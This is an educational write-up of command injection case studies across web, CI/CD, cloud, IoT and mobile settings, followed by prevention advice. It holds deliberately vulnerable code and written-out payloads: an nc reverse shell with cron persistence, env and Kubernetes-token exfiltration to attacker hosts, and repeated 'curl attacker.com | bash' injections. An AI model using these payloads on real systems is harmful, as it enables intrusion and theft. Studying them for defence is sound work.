Case Studies: Command Injection in the Wild¶
This document explores real-world examples and plausible scenarios of how command injection vulnerabilities have been discovered and exploited. These cases highlight the critical impact of the vulnerability and the diverse contexts in which it can appear.
Case Study 1: The ImageTragick Vulnerability (CVE-2016-3714)¶
One of the most famous examples of command injection wasn't in a web application's own code, but in a widely used third-party library it depended on: ImageMagick.
Background¶
- Component: ImageMagick, a popular open-source software suite for displaying, converting, and editing raster image and vector image files.
- Usage: Countless web applications use ImageMagick on the backend to process user-uploaded images (e.g., resizing avatars, creating thumbnails, converting formats).
The Vulnerability¶
The vulnerability existed in how ImageMagick processed certain file types, particularly .mvg (Magick Vector Graphics). It was discovered that ImageMagick's delegate feature, which allows it to call external utilities to handle certain file types, did not properly sanitize filenames or content from the input file.
An attacker could create a malicious image file that, when processed by ImageMagick, would execute arbitrary commands.
The Exploit Vector¶
The attack was delivered through a crafted image file. An attacker would upload this file to a vulnerable service, and the server's attempt to process it would trigger the RCE.
Example Malicious .mvg Payload:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
When ImageMagick parsed the fill attribute, it saw the pipe character (|) and interpreted the subsequent string (ls "-la") as a shell command to be executed. The output of this command would then be treated as the result of the fill operation.
Impact and Analysis¶
- Widespread RCE: Any web service that used a vulnerable version of ImageMagick for image processing was at risk. This included social media platforms, content management systems, and forums.
- Attack Surface: The attack surface was massive because the vulnerability was in a dependency, not the primary application code. Many developers were not even aware their application was vulnerable.
- Key Takeaway: This case highlights the critical importance of supply chain security. Vulnerabilities in third-party libraries are just as dangerous as flaws in your own code. It also demonstrates how a seemingly safe operation (image processing) can be a vector for command injection.
Case Study 2: Blind Command Injection in a Network Monitoring Tool¶
This scenario describes a common vulnerability pattern found in internal-facing administrative tools.
Scenario¶
An IT department uses a web-based network monitoring dashboard. One of its features allows an administrator to enter an IP address to check its status using ping or traceroute. The tool is intended for internal use but is accidentally exposed to the internet.
The Vulnerable Code¶
The backend PHP script for the ping utility contains the following code:
<?php
$ip = $_POST['ip'];
// The developer intended to only allow IPs, but did no validation.
$output = shell_exec("ping -c 4 " . $ip);
echo "<pre>$output</pre>";
?>
The Exploitation Chain¶
-
Discovery: A security researcher discovers the exposed login page. After finding default credentials (
admin:admin), they gain access to the dashboard and find the ping utility. They test for command injection by entering8.8.8.8; id. The output of theidcommand (uid=33(www-data)...) is appended to the ping results, confirming an in-band RCE. -
Information Gathering: The attacker explores the system.
ls -la /: Lists the root directory.cat /etc/passwd: Reads the list of users.ps aux: Lists running processes, revealing a database and other internal services.
-
Pivoting to the Internal Network: The attacker realizes the compromised server is on an internal network (
10.0.5.0/24). They use the RCE to scan the internal network.for i in {1..254}; do (ping -c 1 10.0.5.$i | grep "bytes from" &); done: A crude but effective way to find live hosts on the subnet.
-
Establishing Persistence: To maintain access, the attacker establishes a reverse shell and creates a persistence mechanism.
- Payload:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f - Persistence: They add a cron job to re-establish the reverse shell every hour.
POST /ping.phpwithip=8.8.8.8; (crontab -l ; echo "0 * * * * rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f") | crontab -
- Payload:
Impact and Analysis¶
- Initial Foothold: A simple command injection vulnerability provided a critical entry point into the organization's internal network.
- Lateral Movement: The compromised server was used as a pivot point to attack other, more sensitive internal systems that were not directly exposed to the internet.
- Key Takeaway: Internal-facing tools are often built with lower security standards. When these tools are accidentally exposed, they become a major liability. Proper network segmentation and access control are crucial, even for "internal" applications.
Case Study 3: Blind OOB Injection in a Marketing Tool¶
This case study demonstrates how a blind command injection can be exploited using out-of-band (OOB) techniques to exfiltrate sensitive data.
Scenario¶
A marketing application includes a feature to check if a given email address exists on a "global suppression list." In the background, this feature calls a custom shell script. The web application does not display the output of the script, only a "Success" or "Failure" message.
The Vulnerable Logic¶
The application's backend code looks like this:
# A simplified example of the vulnerable logic
def check_suppression(email):
# The developer assumes the email is safe to pass to the shell.
os.system(f"/opt/scripts/check_domain.sh {email}")
# The application always returns a generic success message.
return {"status": "Check initiated."}
The Exploitation Chain¶
-
Discovery (Time-Based): The attacker suspects command injection. Since there is no output, they first test for a time-based vulnerability by submitting the following as an email:
test@example.com; sleep 10The HTTP response takes 10 seconds longer than usual, confirming blind RCE. -
Exfiltration (Out-of-Band): Exfiltrating data via time delays is slow. The attacker switches to an OOB technique using DNS. They use Burp Collaborator to generate a unique subdomain (
xyz.burpcollaborator.net). -
Dumping Environment Variables: The attacker attempts to exfiltrate the server's environment variables, as they often contain sensitive information like API keys.
- Payload:
test@example.com; curl http://xyz.burpcollaborator.net/?data=$(env | base64 -w 0) - The
envcommand lists all environment variables. base64 -w 0encodes the output into a single line suitable for a URL parameter.
- Payload:
-
Receiving the Data: The attacker checks their Burp Collaborator client and sees an incoming HTTP request:
GET /?data=QVdTX0FDQ0VTU19LRVlfSUQ9QUtJ...<truncated>... HTTP/1.1 Host: xyz.burpcollaborator.net User-Agent: curl/7.68.0 Accept: */* -
Critical Impact: The attacker decodes the Base64 data and discovers AWS credentials (
AWS_ACCESS_KEY_IDandAWS_SECRET_ACCESS_KEY). These keys belong to an IAM user with broad permissions, allowing the attacker to access S3 buckets, EC2 instances, and other cloud resources, leading to a major cloud infrastructure breach.
Impact and Analysis¶
- Blind Doesn't Mean Safe: This case proves that a lack of direct output does not mitigate the severity of command injection.
- OOB for the Win: Out-of-band techniques are highly effective for exploiting blind vulnerabilities and exfiltrating large amounts of data quickly.
- Environment Variables are High-Value Targets: In modern cloud-native applications, environment variables are a primary location for storing secrets. Exfiltrating them is often equivalent to a full compromise.
Case Study 4: GitHub Webhook Exploitation (Real Bug Bounty Report)¶
Scenario¶
A continuous integration (CI) platform processes GitHub webhooks to automatically build and deploy code changes. The webhook handler extracts repository information and constructs shell commands to clone, checkout, and build the project.
The Vulnerable Code¶
@app.route('/webhook/github', methods=['POST'])
def github_webhook():
data = request.get_json()
# Extract repository data from webhook
repo_name = data['repository']['name']
branch = data['ref'].split('/')[-1]
# Construct build command
build_cmd = f"git clone https://github.com/org/{repo_name}.git && cd {repo_name} && git checkout {branch} && npm install && npm test"
# Execute build (VULNERABLE)
subprocess.run(build_cmd, shell=True, cwd='/tmp/builds')
return {'status': 'build_started'}
The Attack¶
An attacker creates a GitHub repository with a malicious name:
{
"repository": {
"name": "legit-project; curl http://attacker.com/malware | bash #"
},
"ref": "refs/heads/main"
}
Why It Works¶
- GitHub repository names can contain special characters
- Webhook data is treated as trusted
- The
#comment character terminates the command early - Attacker gains execution in the CI environment
Impact¶
- Compromise of CI/CD pipeline
- Access to build secrets and credentials
- Potential to inject malicious code into production builds
Case Study 5: File Upload Archive Processing¶
Scenario¶
A file sharing service allows users to upload ZIP archives. The server extracts these archives and processes the contents, setting permissions via shell commands.
The Vulnerable Code¶
def extract_and_process(zip_path, extract_to):
# Extract archive
with zipfile.ZipFile(zip_path, 'r') as zip_ref:
zip_ref.extractall(extract_to)
# Set permissions (VULNERABLE)
subprocess.run(f"chmod -R 755 {extract_to}", shell=True)
# List contents
result = subprocess.run(f"ls -la {extract_to}", shell=True, capture_output=True, text=True)
return result.stdout
The Attack¶
Attacker creates a malicious ZIP file:
mkdir "malicious; curl http://attacker.com/shell | bash #"
echo "evil content" > "malicious; curl http://attacker.com/shell | bash #/file.txt"
zip evil.zip "malicious; curl http://attacker.com/shell | bash #/file.txt"
Why It Works¶
- ZIP filenames aren't validated
- Shell commands execute during permission setting
- Directory names become part of the command
- Both
chmodandlsexecute the payload
Impact¶
- Remote code execution during file processing
- Potential to compromise the file server
- Access to other users' uploaded files
Key Lessons from All Case Studies¶
- Third-Party Data is Not Always Safe: Webhooks, API responses, and external data sources can contain malicious input
- File Processing is High-Risk: Archives, images, and documents with metadata are common attack vectors
- Background Jobs Hide Vulnerabilities: Asynchronous processing can make detection harder
- Environment Variables are Treasure Troves: They often contain sensitive credentials and configuration
- Blind Injection is Still Dangerous: Lack of output doesn't prevent exploitation via OOB techniques
- Supply Chain Attacks are Real: Vulnerabilities in dependencies affect your application
- Internal Tools Need Security Too: Exposed internal applications become external threats
These case studies demonstrate that command injection remains a critical vulnerability that can lead to full system compromise, data exfiltration, and lateral movement within networks.
Case Study 6: IoT Device Firmware Update Vulnerability¶
Scenario¶
A smart home IoT device manufacturer provides a web interface for firmware updates. The device runs embedded Linux and accepts firmware URLs via HTTP POST requests.
The Vulnerable Code¶
#!/bin/sh
# Firmware update script on IoT device
FIRMWARE_URL=$1
TEMP_FILE="/tmp/firmware.bin"
# Download firmware
wget $FIRMWARE_URL -O $TEMP_FILE
# Verify and install
if [ -f $TEMP_FILE ]; then
# Extract firmware
tar -xzf $TEMP_FILE -C /
# Restart services
/etc/init.d/app restart
fi
echo "Update complete"
The Attack¶
An attacker discovers the update endpoint and sends:
curl "http://iot-device/update" \
-d "firmware_url=http://attacker.com/malware.tar.gz; telnet attacker.com 4444 #"
Why It Works¶
- IoT devices have limited input validation
- Firmware URLs are not validated
- Commands execute with root privileges
- Embedded systems are rarely updated
Impact¶
- Complete device compromise
- Botnet recruitment
- Access to home network
- Privacy violation (camera/audio access)
Case Study 7: Cloud Function Command Injection¶
Scenario¶
A serverless application uses AWS Lambda to process user-uploaded files. The function executes system commands to analyze file metadata.
The Vulnerable Code¶
const { exec } = require('child_process');
exports.handler = async (event) => {
const { filename, analysis_type } = event;
// Build analysis command
const cmd = `file ${filename} && exiftool ${filename}`;
return new Promise((resolve, reject) => {
exec(cmd, (error, stdout, stderr) => {
resolve({
analysis: stdout,
type: analysis_type
});
});
});
};
The Attack¶
Attacker invokes the function with malicious payload:
{
"filename": "/uploads/user_file.jpg; curl http://attacker.com/exfil | bash #",
"analysis_type": "metadata"
}
Why It Works¶
- Serverless functions process arbitrary events
- File paths are user-controlled
- No validation of filenames
- Functions have network access
Impact¶
- Lambda function compromise
- Access to cloud credentials
- Data exfiltration from S3
- Lateral movement to other AWS services
Case Study 8: Container Orchestration Vulnerability¶
Scenario¶
A Kubernetes-based application allows users to specify container images and commands through a web interface.
The Vulnerable Code¶
import kubernetes.client as k8s
def create_user_job(image, command):
job_spec = {
"apiVersion": "batch/v1",
"kind": "Job",
"spec": {
"template": {
"spec": {
"containers": [{
"name": "user-job",
"image": image,
"command": ["sh", "-c", command]
}],
"restartPolicy": "Never"
}
}
}
}
# Create job in Kubernetes
k8s.BatchV1Api().create_namespaced_job(namespace="default", body=job_spec)
The Attack¶
Attacker specifies malicious command:
{
"image": "alpine:latest",
"command": "cat /var/run/secrets/kubernetes.io/serviceaccount/token; curl -d @- http://attacker.com"
}
Why It Works¶
- Container commands are user-controlled
- Kubernetes API access available
- Service account tokens accessible
- Cluster-level compromise possible
Impact¶
- Kubernetes cluster takeover
- Access to all pods and secrets
- Data exfiltration from all namespaces
- Persistence through malicious deployments
Case Study 9: CI/CD Pipeline Poisoning¶
Scenario¶
A Jenkins pipeline allows users to specify build parameters including repository URLs and build commands.
The Vulnerable Code¶
pipeline {
agent any
parameters {
string(name: 'REPO_URL', defaultValue: 'https://github.com/org/repo.git')
string(name: 'BUILD_CMD', defaultValue: 'npm install && npm test')
}
stages {
stage('Checkout') {
steps {
git url: "${params.REPO_URL}"
}
}
stage('Build') {
steps {
sh "${params.BUILD_CMD}"
}
}
}
}
The Attack¶
Attacker triggers build with malicious parameters:
REPO_URL="https://github.com/org/repo.git"
BUILD_CMD="npm install; curl http://attacker.com/shell | bash #"
Why It Works¶
- Build parameters are user-controlled
- Pipeline executes arbitrary commands
- Access to build secrets and credentials
- Automated trust in CI systems
Impact¶
- CI/CD pipeline compromise
- Access to source code and secrets
- Malicious code injection into builds
- Supply chain attack potential
Case Study 10: Database Backup Script Exploitation¶
Scenario¶
An automated database backup script uses mysqldump with user-controlled parameters.
The Vulnerable Code¶
#!/bin/bash
# Database backup script
DB_NAME=$1
BACKUP_DIR="/backups"
# Create backup
mysqldump -u backup_user -p$BACKUP_PASS $DB_NAME > $BACKUP_DIR/$(date +%Y%m%d)_$DB_NAME.sql
# Compress
gzip $BACKUP_DIR/$(date +%Y%m%d)_$DB_NAME.sql
echo "Backup complete"
The Attack¶
Attacker exploits environment or parameter injection:
# If DB_NAME comes from user input
DB_NAME="legit_db; curl http://attacker.com/exfil | bash #"
Why It Works¶
- Database names not validated
- Backup scripts run with database privileges
- Automated execution hides injection
- Access to sensitive data
Impact¶
- Database compromise
- Data exfiltration
- Credential theft
- Persistent access through backups
Case Study 11: Log Analysis Tool Vulnerability¶
Scenario¶
A security monitoring tool analyzes log files based on user-specified patterns and date ranges.
The Vulnerable Code¶
@app.route('/analyze')
def analyze_logs():
pattern = request.args.get('pattern')
start_date = request.args.get('start')
end_date = request.args.get('end')
# Build analysis command
cmd = f"find /var/log -name '*.log' -newermt '{start_date}' ! -newermt '{end_date}' -exec grep '{pattern}' {{}} \\;"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return result.stdout
The Attack¶
Attacker crafts malicious date parameters:
curl "http://log-analyzer/analyze?pattern=ERROR&start_date=2023-01-01&end_date=2023-12-31;curl http://attacker.com/shell|bash"
Why It Works¶
- Date parameters seem harmless
- Complex command construction
- No validation of date formats
- Log analysis tools have broad access
Impact¶
- Log server compromise
- Access to sensitive log data
- Network reconnaissance
- Lateral movement capabilities
Case Study 12: Mobile App Command Injection¶
Scenario¶
An Android application uses system commands to perform network diagnostics.
The Vulnerable Code¶
public String runNetworkTest(String target) {
try {
Process process = Runtime.getRuntime().exec("ping -c 4 " + target);
BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
StringBuilder output = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
return output.toString();
} catch (Exception e) {
return "Error: " + e.getMessage();
}
}
The Attack¶
Attacker inputs malicious target:
runNetworkTest("8.8.8.8; am start -a android.intent.action.CALL -d tel://1234567890");
Why It Works¶
- Mobile apps can execute system commands
- User input not validated
- Android intents allow dangerous actions
- App permissions enable malicious behavior
Impact¶
- Unauthorized phone calls/texts
- Access to device features
- Malware installation
- Privacy violation
Case Study 13: Machine Learning Pipeline Exploitation¶
Scenario¶
An ML training platform allows users to upload datasets and specify training parameters.
The Vulnerable Code¶
def train_model(dataset_path, config):
# Build training command
cmd = f"python train.py --dataset {dataset_path} --config {config}"
# Execute training
subprocess.run(cmd, shell=True, cwd='/opt/ml')
return "Training complete"
The Attack¶
Attacker uploads malicious dataset:
# Dataset filename contains injection
dataset_path = "/uploads/malicious.h5; curl http://attacker.com/model_poison | bash #"
config = "default.json"
Why It Works¶
- File paths are user-controlled
- Training commands are complex
- ML pipelines have high resource access
- Automated processing hides injection
Impact¶
- ML infrastructure compromise
- Model poisoning capabilities
- Data exfiltration
- GPU resource abuse
Case Study 14: API Gateway Command Execution¶
Scenario¶
An API gateway allows administrators to execute diagnostic commands through a web interface.
The Vulnerable Code¶
app.post('/admin/execute', (req, res) => {
const { command, args } = req.body;
// Build full command
const fullCommand = `${command} ${args.join(' ')}`;
exec(fullCommand, (error, stdout, stderr) => {
res.json({
output: stdout,
error: stderr
});
});
});
The Attack¶
Attacker sends malicious request:
{
"command": "ps",
"args": ["aux", "; curl http://attacker.com/exfil | bash #"]
}
Why It Works¶
- Administrative interfaces trusted
- Command parameters not validated
- API gateway has broad access
- Authentication may be weak
Impact¶
- API infrastructure compromise
- Access to all API secrets
- Request manipulation capabilities
- Backend service compromise
Case Study 15: Template Engine Exploitation¶
Scenario¶
A content management system processes user-generated templates with dynamic content.
The Vulnerable Code¶
from jinja2 import Template
def render_page(template_content, context):
template = Template(template_content)
rendered = template.render(context)
# Execute rendered content as command
subprocess.run(rendered, shell=True)
return "Page rendered"
The Attack¶
Attacker submits malicious template:
Hello {{user.name}}; curl http://attacker.com/shell | bash #
Why It Works¶
- Template engines allow complex expressions
- Rendered output becomes command
- No validation of template syntax
- Dynamic content processing
Impact¶
- CMS compromise
- Content manipulation
- User data exfiltration
- Persistent XSS potential
Advanced Exploitation Patterns¶
1. Multi-Stage Attacks¶
- Initial Access: Command injection in web app
- Privilege Escalation: Exploit sudo misconfigurations
- Persistence: Add cron jobs or systemd services
- Lateral Movement: SSH to other servers
- Data Exfiltration: Compress and upload sensitive data
2. Supply Chain Compromise¶
- Dependency Injection: Malicious packages in npm/yarn
- Build Process: Compromised CI/CD pipelines
- Container Images: Backdoored base images
- Infrastructure as Code: Malicious Terraform/CloudFormation
3. Cloud-Native Exploitation¶
- Serverless Functions: Cold start exploitation
- Container Orchestration: Kubernetes API abuse
- Infrastructure as Code: Template injection
- Managed Services: SSRF to metadata services
4. IoT and Embedded Systems¶
- Firmware Updates: Malicious update packages
- Network Protocols: UPnP and SSDP abuse
- Device Management: TR-069 protocol exploitation
- Smart Home Hubs: Central control compromise
5. Mobile and Desktop Applications¶
- App Sandbox Escape: iOS/macOS jailbreak techniques
- Android Root Exploitation: System command abuse
- Desktop Applications: Electron/Node.js vulnerabilities
- Browser Extensions: Chrome/Firefox extension compromise
Prevention Strategies from Case Studies¶
1. Input Validation and Sanitization¶
- Strict Whitelisting: Only allow known safe characters
- Context-Aware Validation: Different rules for different contexts
- Multi-Layer Defense: Client, server, and runtime validation
2. Secure Coding Practices¶
- Avoid Shell Commands: Use native APIs when possible
- Parameterized Execution: Separate commands from arguments
- Least Privilege: Run with minimal permissions
- Error Handling: Don't leak command output
3. Architecture Security¶
- Microservices: Isolate command execution
- Container Security: Use read-only filesystems
- Network Segmentation: Limit lateral movement
- Zero Trust: Verify all requests
4. Monitoring and Response¶
- Command Logging: Audit all system calls
- Anomaly Detection: Monitor for suspicious patterns
- Incident Response: Rapid containment procedures
- Regular Audits: Continuous security assessment
5. Supply Chain Security¶
- Dependency Scanning: Regular vulnerability checks
- SBOM Management: Track all components
- Secure Updates: Automated patching
- Vendor Assessment: Third-party risk management
Conclusion¶
These expanded case studies demonstrate the evolving nature of command injection attacks across diverse technology stacks and deployment models. From traditional web applications to modern cloud-native, IoT, and mobile environments, command injection remains a persistent threat that can lead to catastrophic compromise.
The key lessons emphasize the importance of defense-in-depth strategies, continuous security monitoring, and proactive threat modeling. Organizations must treat command injection as a critical vulnerability requiring comprehensive mitigation across all layers of their technology stack.
Remember: Prevention is always better than reaction. Implementing secure coding practices, regular security testing, and robust monitoring can significantly reduce the risk of command injection exploitation.